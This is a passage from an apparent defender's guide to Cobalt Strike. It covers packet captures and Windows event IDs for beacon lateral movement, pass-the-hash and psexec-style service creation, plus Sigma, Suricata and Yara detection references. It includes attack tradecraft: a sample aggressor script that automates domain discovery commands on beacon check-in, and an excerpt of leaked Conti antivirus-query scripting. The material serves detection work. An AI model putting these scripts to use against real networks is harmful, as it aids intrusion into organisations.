SMB2 649 Session Setup Request, NTLMSSP_AUTH, User: WIN10\vagrant
SMB2 159 Session Setup Response
SMB2 144 Tree Connect Request Tree: \\DC\C$
SMB2 138 Tree Connect Response
SMB2 178 Ioctl Request FSCTL_QUERY_NETWORK_INTERFACE_INFO
SMB2 474 Ioctl Response FSCTL_QUERY_NETWORK_INTERFACE_INFO
SMB2 250 Create Request File: ProgramData
SMB2 298 Create Response File: ProgramData
SMB2 146 Close Request File: ProgramData
SMB2 182 Close Response
SMB2 406 Create Request File: ProgramData\beacon.exe
SMB2 410 Create Response File: ProgramData\beacon.exe
SMB2 16554 Write Request Len:16384 Off:0 File: ProgramData\beacon.exe
TCP 60 445 -> 53295 [ACK] Seq=2238 Ack=18405 Win=525568 Len=0
SMB2 138 Write Response
SMB2 1194 Write Request Len:1024 Off:16384 File: ProgramData\beacon.exe
SMB2 138 Write Response
SMB2 162 GetInfo Request FILE_INFO/SMB2_FILE_NETWORK_OPEN_INFO File: ProgramData\beacon.exe
SMB2 186 GetInfo Response
SMB2 146 Close Request File: ProgramData\beacon.exe
SMB2 182 Close Response
TCP 60 53295 -> 445 [ACK] Seq=19745 Ack=2666 Win=261632 Len=0
SMB2 126 Tree Disconnect Request
SMB2 126 Tree Disconnect Response
SMB2 126 Session Logoff Request
SMB2 126 Session Logoff Response
TCP 60 53295 -> 445 [RST, ACK] Seq=19889 Ack=2010 Win=0 Len=0
TCP 66 54673 -> 445 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1
TCP 66 445 -> 54673 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1
TCP 60 54673 -> 445 [ACK] Seq=1 Ack=1 Win=262656 Len=0
SMB 127 Negotiate Protocol Request
SMB2 306 Negotiate Protocol Response
SMB2 270 Negotiate Protocol Request
SMB2 366 Negotiate Protocol Response
SMB2 220 Session Setup Request, NTLMSSP_NEGOTIATE
SMB2 390 Session Setup Response, Error: STATUS_MORE_PROCESSING_REQUIRED, NTLMSSP_CHALLENGE
SMB2 649 Session Setup Request, NTLMSSP_AUTH, User: WIN10\vagrant
SMB2 159 Session Setup Response
SMB2 148 Tree Connect Request Tree: \\DC\IPC$
    
```


The following EIDs are created when executing remote-exec:

Microsoft Windows security auditing.	4624	Logon
Microsoft Windows security auditing.	4672	Special Logon
Microsoft Windows security auditing.	4673	Sensitive Privilege Use
Microsoft Windows security auditing.	4688	Process Creation
Microsoft Windows security auditing.	4697	Security System Extension
Microsoft Windows security auditing.	4674	Sensitive Privilege Use
Microsoft Windows security auditing.	5140	File Share

4697: A service was installed in the system



4624: Account logged on



- **Pass the Hash**

Cobalt Strike can use Mimikatz to generate and impersonate a token that can later be used to accomplish tasks in the context of that chosen user resource. The Cobalt Strike beacon can also use this token to interact with network resources and run remote commands.


As you can see from the below execution example, executing Pass The Hash via Cobalt Strike will run cmd.exe to pass the token back to the beacon process via a named pipe :

```
C:\Windows\system32\cmd.exe /c echo 0291f1e69dd > \\.\pipe\82afc1
```

We also see that the beacon interacts with LSASS (Sysmon EID 10). There are many detection opportunities that defenders can take advantage of with the proper endpoint visibility.

EventCode	TaskCategory	Time	ParentImage	ParentCommandLine	SourceImage	TargetImage	CommandLine	PipeName
18	Process accessed (rule: ProcessAccess)	2021-06-13 21:50:22			c:\windows\system32\runas.exe	c:\windows\system32\lsass.exe		
1	Process Create (rule: ProcessCreate)	2021-06-13 21:50:22	c:\windows\system32\runas.exe	c:\windows\system32\runas.exe			C:\Windows\system32\cmd.exe /c echo 0291f1e69dd > \\.\pipe\82afc1	
17	Pipe Created (rule: PipeEvent)	2021-06-13 21:50:22		Cobalt Strike				spoon_#69
18	Process accessed (rule: ProcessAccess)	2021-06-13 21:50:22			c:\windows\system32\runas.exe	c:\windows\system32\runas.exe		

Pass the hash can also be detected by looking for:



```
Windows EID 4624
Logon Type = 9
Authentication Package = Negotiate
Logon Process = seclogo
```

You can read more about detecting Pass The Hash [here](#) by Stealthbits and [here](#) by Hausec.

- **SMB remote service execution**

In the below example, the threat actors executed the “jump psexec” command to create a remote service on the remote machine (DC) and execute the service exe beacon. Cobalt Strike specifies an executable to create the remote service. Before it can do that, it will have to transfer the service executable to the target host. The name of the service executable is created with seven random alphanumeric -characters, e.g. “<7-alphanumeric-characters>.exe”. This was changed after version 4.1 of Cobalt Strike ([Getting the Bacon from the Beacon](#)).

The attacker must have administrative privileges to complete this task.

The image displays a network traffic capture with two main sections highlighted by red and blue boxes. The top section, enclosed in a red box, shows SMB traffic. A red arrow points to the 'Create Request File' entry for 'c3400ec.exe' (SMB2 234), and another red arrow points to the 'Write Request' entry for 'c3400ec.exe' (SMB2 39474). A red circle highlights the 'Write Request' and 'Write Response' entries for 'c3400ec.exe' (SMB2 48138 and 138). A red number '1' is placed in the top right corner of this section. To the right of this section, a text box reads: "Writing the service executable on the target via accessing hidden share 'ADMIN\$'".

The bottom section, enclosed in a blue box, shows SVCCTL traffic. A blue arrow points to the 'Create Response File: svcctl' entry (SMB2 210). To the right of this section, a text box reads: "Opening handle to svcctl to prepare for creation of new service". Below this, a blue circle highlights the 'CreateServiceA request' (SVCCTL 330) and 'CreateServiceA response' (SVCCTL 222) entries. To the right of this section, a text box reads: "Service Creation".

In the screenshots below you can see the Windows Event IDs that are being generated as a result of this execution. The first screenshot was from the security logs. However, defenders should pay close attention to service creation events as they will be created and deleted

EventCode	name	Share_Name	Creator_Process_Name	Process_Command_Line	category
4674	An operation was attempted on a privileged object				Sensitive Privilege Use
4697	A service was installed in the system				Security System Extension
4688	A new process has been created		C:\Windows\System32\services.exe	\\Wef\ADMIN\$\c3400ec.exe	Process Creation
5140	A network share object was accessed	*\ADMIN\$			File Share
5140	A network share object was accessed	*\ADMIN\$			File Share
5140	A network share object was accessed	*\IPC\$			File Share
4624	An account was successfully logged on				Logon
4672	Special privileges assigned to new logon				Special Logon
4776	The domain controller attempted to validate the credentials for an account				Credential Validation
4673	A privileged service was called				Sensitive Privilege Use
4624	An account was successfully logged on				Logon
4672	Special privileges assigned to new logon				Special Logon
4688	A new process has been created		\\Device\Mup\Wef\ADMIN\$\c3400ec.exe	C:\Windows\System32\rundll32.exe	Process Creation

← Logon Type: 3

Event 4697, Microsoft Windows security auditing.

General Details

A service was installed in the system.

Subject:

- Security ID: WEF\vagrant
- Account Name: vagrant
- Account Domain: WEF
- Logon ID: 0x7C3EC4

Service Information:


- Service Name: c3400ec
- Service File Name: [\\Wef\ADMIN\\$\c3400ec.exe](#)
- Service Type: 0x10
- Service Start Type: 3
- Service Account: LocalSystem

Event 7045, Service Control Manager

General Details

A service was installed in the system.

- Service Name: c3400ec
- Service File Name: [\\Wef\ADMIN\\$\c3400ec.exe](#)
- Service Type: user mode service
- Service Start Type: demand start
- Service Account: LocalSystem



```
4624: Logon
4672: Special Logon
4673: Sensitive Privilege Use
4688: Process Creation
5140: File Share
4674: Sensitive Privilege Use

Service Creation events
4697: A service was installed in the system. (security.evtx)
7045: A service was installed in the system. (system.evtx)
7034: A service terminated unexpectedly
```

Aggressor Scripts

Even though Cobalt Strike has many features out of the box, it is also highly extensible thanks to the [aggressor scripts](#). Aggressor scripts allows the operators to script and modify many of Cobalt Strike's features. Operators can quickly load various scripts via the GUI console.

In most of the cases we are working on, we observe the execution of discovery commands after the first beacon check-in with its C2 server. These events are very likely to be automated by the threat actors. We have taken the below example as presented in the official Cobalt Strike documentation page to demonstrate this use case.

```
on beacon_initial {
$user = beacon_data($1) ["user"];
bshell = ($1, "net group \"Domain Admins\" /domain")
    bshell = ($1, "nltest /domain_trusts /all_trusts")
    bshell = ($1, "net localgroup \"Administrators\"")
    bshell = ($1, "nltest /dclist")
}
(NOTE: The "$1" argument is the id for the beacon.)
```


The above script uses the function "on beacon_initial" to run the specified discovery commands upon initial execution of the beacon. Cobalt Strike has comprehensive documentation on all available [functions](#). Another interesting function is the "alias" function. It creates an alias command in the Beacon console, which can override the default Cobalt Strike commands.

Searching for “Cobalt Strike aggressor scripts” on google will result in multiple GitHub repositories. These repositories contain a collection of aggressor scripts to share with the open-source community. Threat actors are also utilizing these freely available resources for accomplishing their objectives. Some of the most popular are:

- <https://github.com/harleyQu1nn/AggressorScripts>
- <https://github.com/timwhitez/Cobalt-Strike-Aggressor-Scripts>
- <https://github.com/Und3rf10w/Aggressor-scripts>

The recent [Conti leak](#) was a great insight into their tooling, which included the use of aggressor scripts. One of the most notable scripts Conti is using is the [ZeroLogon BOF script](#) created by Raphael Mudge. The script compiles and runs the ZeroLogon exploit in memory.

Another file that we noticed was a collection of multiple aggressor scripts into one. This file was named “enhancement_chain.cna” which included some of the most used aggressor scripts available on GitHub, like the [AV query](#) script by [@r3dQu1nn](#).



The screenshot shows a GitHub repository for 'TA_tooling / Conti_enhancement_chain.cna'. The file is 4273 lines long (3789 sloc) and 197 KB. The content is a PowerShell script with the following visible lines:

```
1 #AntiVirus Query
2 #Author: @r3dQu1nn
3 #Queries the Registry for AV installed
4 #Thanks to @i_am_excite and @merrillmatt011 for the help
5 #Props to @zerosum0x0 for the wmic find!
6
7 #Long ass one-liner :)
8 $powershellcmd = @"($av_list = @("BitDefender", "Kaspersky", "McAfee", "Norton", "Avast", "WebRoot", "AVG", "ESET", "Malware", "Windows Defender");$av_inst
9
10 #AV_Query Command Register
11 beacon_command_register("AV_Query", "Queries the Registry for AV Installed",
12     "Syntax: AV_Query\n" ,
13     "Checks HKLM hive for All AntiVirus installed");
14
15 #AV_Query alias
16 alias AV_Query {
17
18     blog($1, "\cBdetermining what AntiVirus is installed..");
19     bpowerpick!($1, $powershellcmd);
20     bpause($1, int(30000));
21     bpowerpick!($1, "Get-WmiObject -Namespace \"root\SecurityCenter2\" -Query \"SELECT * FROM AntiVirusProduct\" | select-object displayName,pathToSignedReportingExe,time
22
```

You can find the file [here](#).

Awesome Cobalt Strike Defense

To combat Cobalt Strike, the InfoSec community has come together to release tooling, research and detection rules. There are too many to add here, but we don’t have to, thanks to the [Awesome-CobaltStrike-Defence](#) GitHub repository. It contains multiple sources that help defenders hunt, detect and prevent Cobalt Strike. The repository is maintained by [MichaelKoczwar](#), [WojciechLesicki](#) and [d4rk-d4nph3](#).

Part 2 of our Cobalt Strike guide

[Cobalt Strike, a Defender’s Guide – Part 2](#)

Useful Open Source Information

[Defining Cobalt Strike Components So You Can BEA-CONFIDENT in Your Analysis](#)

[Volatility plugin for detecting Cobalt Strike Beacon and extracting its config](#)

[Didier Stevens – Python script to decode and dump the config of Cobalt Strike beacon](#)

[Detection opportunities by Tony Lambert and Red Canary](#)

Sigma Rules

[Meterpreter or Cobalt Strike Getsystem Service Installation](#)

[CobaltStrike Named Pipe](#)

[Meterpreter or Cobalt Strike Getsystem Service Start](#)

[Suspicious AdFind Execution](#)

[Suspicious Encoded PowerShell Command Line](#)

[Rundll32 Internet Connection](#)

[Possible DNS Tunneling](#)

[Successful Overpass the Hash Attempt](#)

[Service Installs](#)

[Process Injection](#)

[Process Creation Cobalt Strike load by rundll32](#)

[Sysmon Cobalt Strike Service Installs](#)

[Suspicious WMI Execution Using Rundll32](#)

[Rundll32 Internet Connection](#)

[Suspicious Remote Thread Created](#)

[PowerShell Network Connections](#)

[Malicious Base64 Encoded PowerShell Keywords in Command Lines](#)

[Suspicious DNS Query with B64 Encoded String](#)

[Default Cobalt Strike Certificate](#)

[High TXT Records Requests Rate](#)

[Cobalt Strike DNS Beacons](#)

[CobaltStrike Malleable Amazon Browsing Traffic Profile](#)

[CobaltStrike Malformed UAs in Malleable Profiles](#)

[CobaltStrike Malleable \(OCSP\) Profile](#)

[CobaltStrike Malleable OneDrive Browsing Traffic Profile](#)

Suricata

ET INFO Suspicious Empty SSL Certificate – Observed in Cobalt Strike

ET MALWARE Cobalt Strike Beacon Activity (GET)

ET MALWARE Cobalt Strike Malleable C2 Profile wordpress_ Cookie Test

ETPRO TROJAN Cobalt Strike Beacon Observed

ETPRO TROJAN Cobalt Strike CnC Beacon

ETPRO TROJAN Cobalt Strike Covert DNS CnC Channel TXT Lookup (tcp)

ETPRO TROJAN Cobalt Strike Covert DNS CnC Channel TXT Lookup (udp)

ETPRO TROJAN Cobalt Strike DNS CnC Activity

ETPRO TROJAN CobaltStrike Malleable C2 Activity (OCSP Profile)

ETPRO TROJAN Cobalt Strike Malleable C2 JQuery Custom Profile

ETPRO TROJAN Cobalt Strike Malleable C2 JQuery Custom Profile M2

ETPRO TROJAN Cobalt Strike Malleable C2 (Unknown Profile)

ETPRO TROJAN Cobalt Strike Malleable JQuery Custom Profile M4

ETPRO TROJAN Cobalt Strike Trial HTTP Response Header (EICAR)

ETPRO TROJAN Cobalt Strike Trial HTTP Response Header (X-Malware)

ETPRO TROJAN Malicious Domain CStrike C2 (blockbitcoin .com in DNS Lookup)

ETPRO TROJAN Observed Cobalt Strike CnC Domain in TLS SNI

ETPRO TROJAN Observed CobaltStrike Style SSL Cert (Amazon Profile)

ETPRO TROJAN Observed Malicious SSL Cert (Cobalt Strike)

ETPRO TROJAN Observed Malicious SSL Cert (Cobalt Strike CnC)

ETPRO TROJAN Observed Malicious SSL Cert (CobaltStrike CnC)

ETPRO TROJAN Possible CobaltStrike CnC Beacon (Fake Safe Browsing)

ETPRO TROJAN Possible Cobalt Strike CnC via DNS TXT

ETPRO TROJAN Possible Cobalt Strike DNS Tunneling

ETPRO TROJAN Suspected Cobalt Strike Stager DNS Activity

ETPRO TROJAN W32/Unknown Dropper Downloading Cobalt Strike Beacon

ETPRO TROJAN Win32/Cobalt Strike CnC Activity (OCSP Spoof)

ETPRO TROJAN Winnti Possible Meterpreter or Cobalt Strike Downloader

ET TROJAN Cobalt Strike Activity

ET TROJAN Cobalt Strike Beacon Activity

ET TROJAN Cobalt Strike Beacon Activity (GET)

ET TROJAN Cobalt Strike Beacon Activity (UNC2447)

ET TROJAN Cobalt Strike Beacon Activity (WordPress Profile)
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Yara Rules

[Malpedia Cobalt Strike information](#) and [yara rule](#) by Felix Bilstein

[Rules from Elastic, Volexity, JPCERT](#)

[Rules from Marc Rivero with the McAfee ATR Team](#)

[Rules by yara@s3c.za.net](#)

[Rules by Avast](#)

[Etienne Maynier tek@randhome.io](#)

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